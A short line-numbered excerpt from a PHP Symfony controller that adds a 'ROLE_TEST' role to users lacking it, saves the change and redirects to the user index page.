  835.             $roles = $user->getRoles(); // array of role strings
  836.             if (!in_array('ROLE_TEST', $roles)) {
  837.                 $user->addRole($roleTest);
  838.             }
  839.         }
  841.         $entityManager->flush();
  843.         return $this->redirectToRoute('user_index', [], Response::HTTP_SEE_OTHER);
  844.     }
  847. }